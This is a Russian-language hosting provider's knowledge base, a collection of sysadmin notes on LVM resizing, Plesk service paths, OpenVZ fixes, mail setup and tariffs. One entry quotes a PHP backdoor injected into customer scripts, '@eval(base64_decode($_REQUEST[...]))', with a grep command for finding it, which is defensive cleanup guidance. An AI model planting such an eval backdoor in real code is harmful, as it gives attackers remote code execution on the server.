База знаний

При расширении раздела, есть шанс, что понадобится перезапустить систему для применения изменений.

 

  • Для примера возьмем, сервер, на который нам надо расширить корневой раздел.
# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
                      20892696   8291056  8493280  11% /
/dev/sda1               101086     13395     82472  14% /boot
none                   4154324         0   4154324   0% /dev/shm
  • Мы добавили к диску свободное место и создали раздел «/dev/sda3?.
# fdisk -l

Disk /dev/sda: 150.3 GB, 150323855360 bytes
255 heads, 63 sectors/track, 18275 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          13      104391   83  Linux
/dev/sda2              14       10443    83778975   8e  Linux LVM
/dev/sda3           10444       18276    62917242+  8e  Linux LVM
  • После создания нового раздела его необходимо применить в качестве физического тома в LVM и добавить в группу VolGroup00:
#pvcreate /dev/sda3
Physical volume "/dev/sda3" successfully created

# vgextend VolGroup00 /dev/sda3
Volume group "VolGroup00" successfully extended
  • Расширяем логический том LogVol00 например на 10G или мы можем использовать все доступное пространство нового диска:
#lvextend -L +10G /dev/mapper/VolGroup00-LogVol00
Extending logical volume LogVol00 to 80,12 GB
Logical volume LogVol00 successfully resized

# lvextend -l +100%FREE /dev/mapper/VolGroup00-LogVol00
  • Если все верно сделали, ресайзим необходимый раздел. В случае если возможно его отмонтировать — делаем это. Иначе можно попробовать на лету в работающей системе, но не все файловые системы поддерживают данную возможность.
# resize2fs /dev/mapper/VolGroup00-LogVol00
resize2fs 1.39
Filesystem at /dev/mapper/VolGroup00-LogVol00 is mounted on /; on-line resizing required
Performing an on-line resize of /dev/mapper/VolGroup00-LogVol00 to 13139968 (4k) blocks.
The filesystem on /dev/mapper/VolGroup00-LogVol00 is now 13139968 blocks long.

В случае Red Hat Enterprise Linux, придется перезагрузиться и resize  пройдет успешно, только при помощи данной команды:

ext2online /dev/mapper/VolGroup00-LogVol00


**************************************************************************************************************

//Расширяем LVM

  668  2018-09-27 14:46:23 vgdisplay -C
  669  2018-09-27 14:46:42 vgextend vg_cpanel1 /dev/sdj3
  670  2018-09-27 14:46:45 vgdisplay -C
  672  2018-09-27 14:47:48 lvextend -l +100%FREE /dev/mapper/vg_cpanel1-lv_root
  674  2018-09-27 14:47:59 vgdisplay -C
  675  2018-09-27 14:48:53 resize2fs /dev/mapper/vg_cpanel1-lv_root
  677  2018-09-27 14:56:34 vgdisplay -C

***************************************************************************************************************

 

***************************************************************************************************************

// если нет возможности перезагрузить сервер, то устанавливаем пакет для rescan

yum install sg3_utils

// пересканируем диски

rescan-scsi-bus.sh

//если не помогло то смотрим, что находится в scsi_device

cd /sys/class/scsi_device

//и сканируем каждое устройство

echo 1 > /sys/class/scsi_device/0\:0\:0\:0/device/rescan
echo 1 > /sys/class/scsi_device/1\:0\:0\:0/device/rescan

*********************************************************************************************************************

Если вы решили создать сайт самостоятельно, первое, что вы должны сделать — изучить тот набор инструментов, который вам понадобится.

Первым шагом к созданию своего сайта является выбор подходящей технической площадки. У нас вы сможете найти техническую площадку для любого типа сайта: от «визитки» до многофункционального интернет-магазина.

Вторым шагом, является выбор инструментария для создания сайтов.

WordPress

Сфера применения этого сервиса: от новостных блогов до интернет-магазинов. Является одной из самых распространённых систем управления сайтами. Огромное количество бесплатных тем и плагинов позволяет с лёгкостью конструировать практически любые веб-проекты.

Joomla!

Одной из самых важных особенностей этой системы управления содержимым является минимальный набор установленных тем и плагинов, который можно дополнять при необходимости. Благодаря такой функции значительно снижается нагрузка на административную панель, и, кроме того, это снижает загруженность ресурсов сервера и помогает экономить место на хостинге. Каталог расширений Joomla! содержит огромное множество языковых пакетов, и установить их можно через панель администратора.

phpBB

Популярная система управления для создания форумов. Обладает рядом преимуществ: 
Многоязычность интерфейса (больше чем 50 языков, которые круглосуточно доступны для свободной закачки с официального сайта системы управления содержимым).
Большое сообщество пользователей, и, как следствие, их готовность прийти на помощь в любой момент.
Множество доступных и обновляемых версий и модов.


В сущности, представленные программы создания сайтов — не все приложения, представленные в Интернете. Вы сможете скачать и установить на свой хостинг самостоятельно — всё зависит только от ваших идей, задуманной функциональности.

Если вы совсем новичек или хотите создать сайт быстро и самостоятельно не вдаваясь в подробности о технических требованиях к той или иной CMS, воспользуйтесь услугой SitePublisher входящей в комплект панели Cpanel для виртуального хостинга.

После того как вы выбрали  инструменты для разработки и определились с техническими требованиями, необходимо заказать сам хостинг.

Для переключения WordPress в режим SMTP необходимо установить и настроить в нем плагин Configure SMTP.

Configure SMTP

Плагин Configure SMTP используется для настройки SMTP рассылки в WordPress, в том числе поддержки отправки электронной почты через SSL/TLS (например, Gmail). Практически заставляет WordPress отправлять почту не через php-функцию mail(), через sendmail хостингового сервера, а через smtp какого-либо другого сервера включая хостинг сервер.

Для начала работы следует скачать плагин с авторской площадки Configure SMTP. Затем  установить к себе на блог в папку с плагинами ...wp-content/plugins и активировать его в «меню администратора» в WordPress, затем перейти к настройкам через админ панель SMTP, которая появится после активации.

 

 Настройка  Configure SMTP

Send e-mail via GMail ? — снимаем галочку

SMTP host —  адрес вашего домена

SMTP port — 25

Secure connection prefix — выбор префикса для безопасных соединений SMTP через SSL или TLS

Use SMTPAuth? — ставим галочку

SMTP username — ставим e-mail адрес который создали в хостинг панели

SMTP password — вводим ваш пароль от e-mail адреса

Wordwrap length — задаете число символов сообщения при переносе слов.

Следующие два пункта можно оставить как есть, тогда будут использованы настройки по умолчанию или же прописать свои данные:

Sender e-mail — Наборы адресов электронной почты для всех исходящих сообщений. Оставьте пустым, чтобы использовать по умолчанию WordPress.

Sender name — Имя или список имен, от кого будут отправлены сообщения. Оставьте пустым, чтобы использовать по умолчанию WordPress.

Сохраняем настройки  «Save Changes»


Сразу после настройки, вам предоставляется возможность протестировать отправку электронной почты и удостовериться в правильности настроек вашего блога на работу с почтой. Для этого, в самом низу панели управления плагином нажатием на кнопку «Send test e-mail» в результате чего отправляется тестовое сообщение на ваш e-mail.

Чтобы настроить отправку почты надо сделать следующее:

1) Переходим в меню  "Общие настройки"

1.png

2) Заходим во вкладку сервер и редактируем следующие настройки:

2.png

Способ отправки почты - Выбираем SMTP сервер

Адрес отправителя - Вводим свой реальный E-MAIL который был создан в хостинг панели Plesk

Имя отправителя - Например: Администрация

Путь к Sendmail - тут не чего не меняем

Использовать SMTP-авторизацию - Выбираем "да"

SMTP Security - Нет

SMTP порт - 25 порт

SMTP логин - ставим e-mail адрес который создали в хостинг панели

SMTP пароль - Вводим ваш пароль от e-mail адреса

Адрес SMTP-сервера - адрес вашего домена

3) Сохраняем, и пробуем зарегистрироваться.
Если при открытии вашего сайта вы видите ошибку Resource Limit Is Reached,  это свидетельствует о том, что ваш сайт пытается использовать больше ресурсов по DDR, CPU, процессов вебсервера, чем ему положено. Анализ работы показал, что для функционирования сайта достаточно 20% нагрузки на ЦПУ, 256 Мб DDR, 5 процессов вебсервера для обработки информации и запросов на сайт. При такой конфигурации нормально разработанный со средней посещаемостью сайт работает без проблем.

Узнать какие именно ресурсы превышает ваш сайт и когда именно можно через панель управления хостингом в разделе
Resource Usage.



После того как вы вошли в раздел, то увидите следующую картину если у вас есть превышение по лимитам. В данном случае имеется превышение на загрузку по процессору и количество запущенных процессов вебсервера


Рассмотрим детальнее нажав на ссылку Detalis. Параметр Timeframe  позволяет выбрать промежуток времени за который будет отображаться статистика.
График CPU Usage отображает хронологию загрузки ЦПУ вашим аккаунтом на котором размещены сайты. Красная линия- лимит нагрузки, зеленая- среднее значение, синяя- текущее использование ресурсов в интервале от average до limit.

График Virtual Memory Usage отображает отображает хронологию загрузки DDR вашим аккаунтом на котором размещены сайты. Красная линия- максимальный лимит выделенной памяти, зеленая- среднее значение, синяя- текущее использование памяти в интервале от average до limit.

Далее нам нужно знать значение параметров:

mCPU - Использование CPU на момент времени
mEP- Использование процессов вебсервера на момент времени
mVMem- Использование DDR на момент времени




Main services

Control Panel

Error log: /var/log/sw-cp-server/error_log
Access log: /usr/local/psa/admin/logs/httpsd_access_log
Panel log: /usr/local/psa/admin/logs/panel.log

service control:

Stop: /etc/init.d/psa stop
Start: /etc/init.d/psa start
Restart: /etc/init.d/psa restart

config files:

php: /usr/local/psa/admin/conf/php.ini
www: /etc/sw-cp-server/applications.d/plesk.conf
features: /usr/local/psa/admin/conf/site_isolation_settings.ini


Sitebuilder

Log: /usr/local/psa/admin/logs/sitebuilder.log
Install / Upgrade logs: /usr/local/sb/tmp/

service control:

No service control (working via sw-cp-server service).

config files:

/usr/local/sb/config
/etc/sw-cp-server/applications.d/plesk.conf
/usr/local/psa/admin/conf/php.ini


Billing

Error Log: /var/log/sw-cp-server/error_log
Access log: /usr/local/psa/admin/logs/httpsd_access_log

service control:

No service control (working via sw-cp-server service).

config files:

/usr/local/psa/admin/conf/php.ini
/etc/sw-cp-server/applications.d/plesk.conf
/opt/plesk-billing/htdocs/lib-billing/include/config/config.php


SSO

Error Log: /var/log/sw-cp-server/error_log
SSO log: /var/log/sso/sso.log

service control:

No service control (working via sw-cp-server service).

Utility to configure SSO & Panel integration:
/usr/local/psa/bin/sso

config files:

/etc/sw-cp-server/applications.d/00-sso-cpserver.conf
/etc/sso/sso_config.ini


phpMyAdmin

Error log: /var/log/sw-cp-server/error_log

service control:

No service control (working via sw-cp-server service).

config files:

/usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin/libraries/config.default.php


phpPGAdmin

Error log: /var/log/sw-cp-server/error_log

service control:

No service control (working via sw-cp-server service).

config files:

/usr/local/psa/admin/htdocs/domains/databases/phpPgAdmin/conf/config.inc.php/p>


Courier-IMAP

Access and Error log: /usr/local/psa/var/log/maillog

service control:

Stop: /etc/init.d/courier-imap stop
Start: /etc/init.d/courier-imap start
Restart: /etc/init.d/courier-imap restart

config files:

/etc/courier-imap/imapd
/etc/courier-imap/imapd-ssl
/etc/courier-imap/pop3d
/etc/courier-imap/pop3d-ssl


SMTP server (QMail)

Access and Error log: /usr/local/psa/var/log/maillog

service control:

Stop: /etc/init.d/qmail stop
Start: /etc/init.d/qmail start
Restart: /etc/init.d/qmail restart

config files:

/etc/xinetd.d/smtp_psa
/etc/xinetd.d/smtps_psa
/etc/xinetd.d/submission_psa
/etc/inetd.conf (Debians)
/var/qmail/control/


Named (BIND, DNS)

Access and Error log: /var/log/messages

service control:

Stop: /etc/init.d/named stop
Start: /etc/init.d/named start
Restart: /etc/init.d/named restart

config files:

/etc/named.conf


Tomcat

Access and Error logs: /var/log/tomcat5/

service control:

Stop: /etc/init.d/tomcat5 stop
Start: /etc/init.d/tomcat5
Restart: /etc/init.d/tomcat5

config files:

/usr/share/tomcat5/conf/


MySQL

Access and Error log: /var/log/mysqld.log

service control:

Stop: /etc/init.d/mysqld stop
Start: /etc/init.d/mysqld start
Restart: /etc/init.d/mysqld restart

config files:

/etc/my.cnf


Postgresql

Startup log: /var/lib/pgsql/pgstartup.log

service control:

Stop: /etc/init.d/postgresql stop
Start: /etc/init.d/postgresql start
Restart: /etc/init.d/postgresql restart

config files:

/var/lib/pgsql/data/postgresql.conf


Plesk SpamAssassin

Access and Error log: /usr/local/psa/var/log/maillog

service control:

Stop: /etc/init.d/psa-spamassassin stop
Start: /etc/init.d/psa-spamassassin start
Restart: /etc/init.d/psa-spamassassin restart

config files:

/etc/mail/spamassassin/
/etc/mail/spamassassin/local.cf
/var/qmail/mailnames/%d/%l/.spamassassin


Drweb antivirus

Access and Error log: /usr/local/psa/var/log/maillog

service control:

Stop: /etc/init.d/drwebd stop
Start: /etc/init.d/drwebd start
Restart: /etc/init.d/drwebd restart

config files:

/etc/drweb/


FTP(proftpd)

Access and Error log: /usr/local/psa/var/log/xferlog

service control:

No service control (working via xinetd service).

/etc/init.d/xinetd restart

config files:

/etc/xinetd.d/ftp_psa
/etc/proftpd.conf
/etc/proftpd.include


Kaspersky antivirus

Log: /usr/local/psa/var/log/maillog

Before 10.2:

/var/log/kav/5.5/kav4mailservers/aveserver.log
/var/log/kav/5.5/kav4mailservers/smtpscanner.log
/var/log/kav/5.5/kav4mailservers/avstats.log
/var/log/kav/5.5/kav4mailservers/kavscanner.log
/var/log/kav/5.5/kav4mailservers/kavupdater.log

service control:

Since 10.2:

Stop: /etc/init.d/kavehost stop
Start: /etc/init.d/kavehost start
Restart: /etc/init.d/kavehost restart

Before 10.2:

Stop: /etc/init.d/aveserver stop
Start: /etc/init.d/aveserver start
Restart: /etc/init.d/aveserver restart

config files:

Before 10.2:

/etc/kav/5.5/kav4mailservers/

Since 10.2:

/opt/kav/sdk8l3/etc/kav-handler.cfg
/etc/kavehost.xml


SMTP server (Postfix)

Access and Error log: /usr/local/psa/var/log/maillog

service control:

Stop: /etc/init.d/postfix stop
Start: /etc/init.d/postfix start
Restart: /etc/init.d/postfix restart

config files:

/etc/postfix/


xinetd

Access and Error log: /var/log/messages

service control:

Stop: /etc/init.d/xinetd stop
Start: /etc/init.d/xinetd start
Restart: /etc/init.d/xinetd restart

config files:

/etc/xinetd.conf


Watchdog (monit)

Log files: /usr/local/psa/var/modules/watchdog/log/wdcollect.log
/usr/local/psa/var/modules/watchdog/log/monit.log

service control:

Stop: /usr/local/psa/admin/bin/modules/watchdog/wd --stop
Start: /usr/local/psa/admin/bin/modules/watchdog/wd --start
Restart: /usr/local/psa/admin/bin/modules/watchdog/wd --restart

config files:

/usr/local/psa/etc/modules/watchdog/monitrc
/usr/local/psa/etc/modules/watchdog/wdcollect.inc.php


Watchdog (rkhunter)

Log: /var/log/rkhunter.log

service control:

Start: /usr/local/psa/admin/bin/modules/watchdog/rkhunter

config files:

/usr/local/psa/etc/modules/watchdog/rkhunter.conf


Mailman (Maillist service)

Log files: /var/log/mailman/

service control:

Stop: /etc/init.d/mailman stop
Start: /etc/init.d/mailman start
Restart: /etc/init.d/mailman restart

config files:

/etc/httpd/conf.d/mailman.conf
/usr/lib/mailman/Mailman/mm_cfg.py
/etc/mailman/sitelist.cfg


AWstats

service control:

Start: /usr/local/psa/bin/sw-engine-pleskrun /usr/local/psa/admin/plib/DailyMaintainance/script.php

config files:

/usr/local/psa/etc/awstats/


Webalizer

service control:

Start: /usr/local/psa/bin/sw-engine-pleskrun /usr/local/psa/admin/plib/DailyMaintainance/script.php

config files:

/var/www/vhosts/%d/conf/webalizer.conf


Plesk Backup Manager

Backup logs: /usr/local/psa/PMM/sessions/<session>/psadump.log
/usr/local/psa/PMM/sessions/<session>/migration.log
/usr/local/psa/PMM/logs/migration.log
/usr/local/psa/PMM/logs/pmmcli.log

Restore logs: /usr/local/psa/PMM/rsessions/<session>/conflicts.log
/usr/local/psa/PMM/rsessions/<session>/migration.log
/usr/local/psa/PMM/logs/migration.log
/usr/local/psa/PMM/logs/pmmcli.log

service control:

Functionality is controlled by the Plesk Control Panel service.

config files:

/etc/psa/psa.conf


Plesk Migration Manager

Migration logs: /usr/local/psa/PMM/msessions/<session>/migration.log
/usr/local/psa/PMM/rsessions/<session>/migration.log
/usr/local/psa/PMM/rsessions/<session>/conflicts.log
/usr/local/psa/PMM/logs/migration.log
/usr/local/psa/PMM/logs/pmmcli.log
/usr/local/psa/PMM/logs/migration_handler.log

service control:

Functionality is controlled by the Plesk Control Panel service.

Horde

Log: /var/log/psa-horde/psa-horde.log

service control:

Functionality is controlled by the Plesk Control Panel service.

config files:

apache configs: /etc/httpd/conf.d/zzz_horde_vhost.conf
/etc/psa-webmail/horde/conf.d/

horde configs: /etc/psa-webmail/horde/


Atmail

Logs: /var/log/atmail/

service control:

Functionality is controlled by the Plesk Control Panel service.

config files:

apache configs: /etc/httpd/conf.d/zzz_atmail_vhost.conf
/etc/psa-webmail/atmail/conf.d/

Atmail configs: /etc/psa-webmail/atmail/atmail.conf
/var/www/atmail/libs/Atmail/Config.php


psa-logrotate

No logs

service control:

Start: /usr/local/psa/bin/sw-engine-pleskrun /usr/local/psa/admin/plib/DailyMaintainance/script.php

config files:

/usr/local/psa/etc/logrotate.conf
/usr/local/psa/etc/logrotate.d/


Samba

Logs: /var/log/samba/

service control:

Stop: /etc/init.d/smb stop
Start: /etc/init.d/smb start
Restart: /etc/init.d/smb restart

config files:

/etc/samba/smb.conf
/etc/samba/smb.conf.include


psa-firewall

service control:

Stop: /etc/init.d/psa-firewall stop
Start: /etc/init.d/psa-firewall start
Restart: /etc/init.d/psa-firewall restart

config files:

/usr/local/psa/var/modules/firewall/firewall-active.sh
/usr/local/psa/var/modules/firewall/firewall-emergency.sh
/usr/local/psa/var/modules/firewall/firewall-new.sh


psa-firewall (IP forwarding)

service control:

Stop: /etc/init.d/psa-firewall-forward stop
Start: /etc/init.d/psa-firewall-forward start
Restart: /etc/init.d/psa-firewall-forward restart

config files:

/usr/local/psa/var/modules/firewall/ip_forward.active
/usr/local/psa/var/modules/firewall/ip_forward.saved


psa-vpn

service control:

Stop: /etc/init.d/smb stop
Start: /etc/init.d/smb start
Restart: /etc/init.d/smb restart

config files:

/usr/local/psa/var/modules/vpn/openvpn.conf


Health Monitor

Logs: /usr/local/psa/admin/logs/health-alarm.log

service control:

Stop: /etc/init.d/sw-collectd stop
Start: /etc/init.d/sw-collectd start
Restart: /etc/init.d/sw-collectd restart

config files:

/usr/local/psa/admin/conf/health-config.xml
/usr/local/psa/var/custom-health-config.xml
/etc/sw-collectd/collectd.conf


Parallels Panel Health Monitor Notification Daemon

Logs: /usr/local/psa/admin/logs/health-alarm.log

service control:

Stop: /etc/init.d/psa-health-monitor-notificationd stop
Start: /etc/init.d/psa-health-monitor-notificationd start
Restart: /etc/init.d/psa-health-monitor-notificationd restart

config files:

/usr/local/psa/admin/conf/health-config.xml
/usr/local/psa/var/custom-health-config.xml


Web server (Apache)

Access and Error logs: /var/log/httpd/
Plesk domains logs: /var/www/vhosts/%d/statistics/logs/

service control:

Stop: /etc/init.d/httpd stop
Start: /etc/init.d/httpd start
Restart: /etc/init.d/httpd restart

config files:

/etc/httpd/conf/httpd.conf
/etc/httpd/conf.d/
/usr/local/psa/admin/conf/ip_vhosts_bootstrap.conf
/usr/local/psa/admin/conf/vhosts_bootstrap.conf
/usr/local/psa/admin/conf/webmail_atmail_bootstrap.conf
/usr/local/psa/admin/conf/webmail_atmailcom_bootstrap.conf
/usr/local/psa/admin/conf/webmail_horde_bootstrap.conf

Generated config files:
/usr/local/psa/admin/conf/generated/<version>_server.include
/var/www/vhosts//conf/<version>_httpd.include
/usr/local/psa/admin/conf/generated/<version>_horde.include
/usr/local/psa/admin/conf/generated/<version>_atmail.include
/usr/local/psa/admin/conf/generated/<version>_atmailcom.include
/usr/local/psa/admin/conf/generated/<version>_<domain_name>_webmail.include

Хостинг

Услуга по предоставлению вычислительных мощностей для физического размещения информации на сервере, постоянно находящемся в сети (обычно Интернет). Хостингом также называется услуга по размещению оборудования клиента на территории провайдера с обеспечением подключения его к каналам связи с высокой пропускной способностью. Обычно под понятием услуги хостинга подразумевают как минимум услугу размещения файлов сайта на сервере, на котором запущено ПО, необходимое для обработки запросов к этим файлам (веб-сервер). Как правило, в услугу хостинга уже входит предоставление места для почтовой корреспонденции, баз данных, DNS, файлового хранилища и т. п., а также поддержка функционирования соответствующих сервисов. Хостинг баз данных, размещение файлов, хостинг электронной почты, услуги DNS могут предоставляться отдельно как самостоятельная услуга, либо входить в понятие услуги.
Тарифный план: Хостинг-50 Хостинг-100 Хостинг-500 Хостинг-1000
Дисковое пространство 50 mb 100 mb 500 mb 1000 mb
Зарубежный траффик неограниченно неограниченно неограниченно неограниченно
Количество доменов 1 1 1 1
FTP-доступ + + + +
SSH-доступ -
- - -
Панель управления Parallels Plesk 10
Parallels Plesk 10 Parallels Plesk 10 Parallels Plesk 10
Планировщик задач + + + +
Почта / Web-интерфейс Horde + + + +
Количество почтовых ящиков 2 5 7 10
Количество баз данных 3 4 5 6
Резервное копирование + + + +
PHP 5.3.6, Json 1.21, Zlib 1.2.3 + + + +
Гостевой доступ / Белорусский траффик + + + +
Site Builder + + + +
Антивирус и антиспам почты + + + +
Автоответчики / Переадресация + + + +
Управление при помощи .htaccess, mod_rewrite + + + +
Возможность установки приложений Joomla, Drupal, WordPress, phpBB + + + +
PhpMyAdmin + + + +
APPLIES TO:
  • Parallels Plesk Panel

Symptoms

The following error is displayed while making changes to the configuration of Parallels Plesk Panel objects which assume Apache web server configuration file re-creation:
Error: New files of configuration for Apache web server were not built due to errors in configuration templates. The detailed error message was e-mailed to you, so please check the e-mail, fix the errors, and click here to retry generating configuration.

Resolution

1. List configuration error in Parallels Plesk Panel database:

mysql -uadmin -p`cat /etc/psa/.psa.shadow ` psa -Nse"select * from Configurations where status='error' \G"


mysql> select id,objectId,status,description from Configurations where status="error";
+------+-------------+--------+-------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id   | objectId    | status | description | +------+-------------+--------+-------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 3539 | 340         | error  | Template processing failed: file = /usr/local/psa/admin/conf/templates/default/domainVhost.php, error = SQLSTATE[HY093]: Invalid parameter number: no parameters were bound | +------+-------------+--------+-------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)

2. List broken contexts of the APS applications:
mysql> select * from apsContexts where (pleskType='hosting' OR pleskType='subdomain') AND subscriptionId=0;
+----+-----------+---------+-------+----------------+
| id | pleskType | pleskId | ssl   | subscriptionId |
+----+-----------+---------+-------+----------------+
| 7  | hosting   | 347     | false | 0              |
+----+-----------+---------+-------+----------------+
1 rows in set (0.00 sec)

3. Find subscriptionId by object_id:
mysql> select * from Subscriptions where object_id=340;
+----+------------+
| id | object_id  |
+----+------------+
| 89 | 340        |
+----+------------+
1 row in set (0.01 sec)

4. Modify the broken context of the APS applications from #2:
mysql> update apsContexts set subscriptionId=89 where id=7;
Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0

5. Forcibly re-create all Apache web server configuration files:
# httpdmng --reconfigure-all
Q: В панели статистики по трафику, что означают следующие колонки:
inAll, Gb outAll, Gb inInet, Gb outInet, Gb Internet inByNets, Gb outByNets, Gb inLocal, Gb outLocal, Gb inRFC, Gb outRFC, Gb

?

inAll, Gb - Весь входящий трафик в гб.
outAll, Gb - Весь исходящий трафик в гб.
inInet, Gb - Зарубежный  входящий трафик в гб.
outInet, Gb - Зарубежный  исходящий трафик в гб.
Internet - Зарубежный трафик суммарно в гб.
inByNets, Gb - Белорусский  входящий трафик в гб.
outByNets, Gb - Белорусский исходящий трафик в гб.
inLocal, Gb - Локальный входящий трафик Белтелекома в гб.
outLocal, Gb - Локальный исходящий трафик Белтелекома в гб.
inRFC, Gb - Служебный  входящий трафик в гб.
outRFC, Gb - Служебный исходящий трафик в гб.

Q: Расшифруйте в присланном мне отчете следующие колонки:

t_in0 t_ot0 t_in1 t_ot1 t_in2 t_ot2 t_in3 t_ot3 pay_in pay_ot

t_in0  Весь входящий трафик в гб.

t_ot0 Весь исходящий трафик в гб.
t_in1 Белорусский  входящий трафик в гб.
t_ot1 Белорусский исходящий трафик в гб.
t_in2 Локальный входящий трафик Белтелекома в гб.

t_ot2 Локальный исходящий трафик Белтелекома в гб.

t_in3 Служебный  входящий трафик в гб.

t_ot3 Служебный исходящий трафик в гб.
pay_in Зарубежный  входящий трафик в гб.
pay_out Зарубежный  исходящий трафик в гб.

 

При настройках OpenVZ по умолчанию, если клиент перезагружает свою VPS, то она не поднимается,

проблема находится в модуле ядра vzevent

 

необходимо прописать следующую строчку в консоле:

 

 modprobe vzevent reboot_event=1

затем 

/etc/init.d/vzeventd start

 

 

Если на клиентской VPS выбивает:

iptables: Memory allocation problem

 

то на физической ноде необходимо прописать:

vzctl set VEID --numiptent 400 --save

 

 

 

OpenVZ Container already locked

 В консоль выводится сообщение: Container already locked

Решение проблемы простое:

[root@server ~]# rm /var/lib/vz/lock/104.lck

Далее выполняем:

[root@server ~]# vzctl chkpnt 104 --kill

Теперь можно перезагрузить VDS.

[root@server ~]# vzctl restart 104


При посещении сайта поисковый робот в первую очередь обращается к файлу robots.txt, который должен находится в корне сайта, этот файл и управляет действиями поискового робота. Итак создаем в корне вашего сайта файл robots.txt и внутри него пишем:

User-agent: *
Crawl-delay: 20

Параметр Crawl-delay указывает поисковому роботу чтобы он загружал страницы вашего сайта с интервалом не менее 20 секунд, другими словами просто выдерживал паузу во время индексации страниц вашего сайта. И ваш сайт спокойно индексируется в пределах допустимой нагрузки.

Далее что бы робот корректно получал данные для индексации вашего сайта, неободимо создать файл карты сайта  sitemap.xml

который позволит не индексировать роботу битые или не рабочие страницы сайта. Данный файл закачивается так же в корень сайта.

Собственно в создании файла вам поможет сервис Sitemapgenerator

OpenVZ Container already locked

 В консоль выводится сообщение: Container already locked

Решение проблемы простое:

[root@server ~]# rm /var/lib/vz/lock/104.lck

Далее выполняем:

[root@server ~]# vzctl chkpnt 104 --kill

Теперь можно перезагрузить VDS.

[root@server ~]# vzctl restart 104

Полезная утилита для одновременной работы на нескольких серверах.

 

cssh

Для наших клиентов предусмотрено предоставление бесплатных доменных имен третьего уровня.

*.datacenter.by

*.belhost.by

*.dc.beltelecom.by

Для использования доменного имени необходимо отправить нам запрос с выбранным вами доменным именем и IP адресом вашего сервера или адресом хостинг панели (для клиентов виртуального хостинга)

 

 

TimeStamp2Date (Не в UTC)

date -d '@1358749212' +%c

 

Date2TimeStamp(Не в UTC)

date --date "2013-01-21 09:20:12" +%s

В пользовательские PHP-скрипты вставляется код следующего вида:

 

function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));

Основной вредонос заключается в записи:

@eval(base64_decode($_REQUEST['c_id']))

т.е. через данный скрипт можно передать любой POST-запрос

 

Такие скрипты необходимо удалять из файлов

чтобы найти файлы, содержащие такой скрипт можно ввести команду:

grep -rhlie "\@eval(base64_decode(\$_REQUEST\['c_id'\]));" *

 

В последнее время участились атака через протокол сервиса времени NTP

Убедительная просьба проверить и устранить проблемы на серверах, если таковые есть.

Подробнее о данном виде атаки Вы можете прочитать здесь:

 

http://habrahabr.ru/post/209438/

 

Проверить же сервер Вы можете посредством команды:

 

ntpdc -c monlist ip_adress

snmpwalk -c название_комьюнити -On -v 2c 127.0.0.1 .1.3.6.1.4.1.8072.1.3.2.4.1.2.10  - Вывести полный номер OID

snmpwalk -c название_комьюнити -Of -v 2c 127.0.0.1 .1.3.6.1.4.1.8072.1.3.2.4.1.2.10 - вывести расширенный (буквенный вид)

Установка почтового сервера для отправки писем.

Ставим postfix

# yum install postfix


Запускаем postfix:

# service postfix start



Перезапускаем apache

# service httpd restart



Добавляем Postfix в автозагрузк
у

# chkconfig postfix on



Проверяем

<?

if (mail("you_email@you_email_server.com","test subject", "test body","From: otpravitel@bitrix.ru")) echo "Сообщение передано функции mail, проверьте почту в ящике.";

else echo "Функция mail не работает, свяжитесь с администрацией хостинга.";

?>


Настройка почтового сервера для отправки писем .

Для настройки интегрированного почтового сервера выполните следующее:

  1. Перейти в главном меню в 6. Manage sites in the pool > 4. Change e-mail settings on site и ввести имя хоста, для которого нужно настроить отправку почты.

  1. Далее ввести необходимые данные для почтового сервера:

    1. from address - адрес отправителя, от которого будет осуществляться пересылка писем. (обязательно должен быть адрес домена направленного на наш сервер)

    2. server address or DNS - ip- или dns-адрес почтового сервера. Если нажать Enter, то будет использован адрес по умолчанию (127.0.0.1)

    3. server port - порт сервера. Порт зависит от типа соединения, 25 - для обычного и 465 - для зашифрованного (с использованием SSL). Если нажать Enter, то будет использован порт по умолчанию (25).

    4. Если необходима SMTP-авторизация, то в строке SMTP authentication наберите y и введите логин и пароль для доступа к SMTP-серверу, в противном случае - n.

    5. Если выбрана опция SMTP-авторизации, то понадобится ввести тип авторизации type of authentication method: auto, plain, scrum-sha-1, scrum-md5, gssapi, external, digest-md5, login, ntlm.

    6. Если необходим TLS-протокол защищенной передачи данных, то в строке TLS enabled наберите y, в противном случае - n.

  2. Дождаться пока задача по настройке почтового сервера будет закончена.

  3. Убедиться в правильности введенных данных настройки почтового сервера можно снова в 6. Manage sites in the pool > 4. Change e-mail settings on site.

 

openssl pkcs12 -export -in cert.crt -inkey cert.key -out abc.p12

keytool -importkeystore -srckeystore abc.p12 -srcstoretype PKCS12 -destkeystore abc.jks

Популярное 
 
Последние добавленные статьи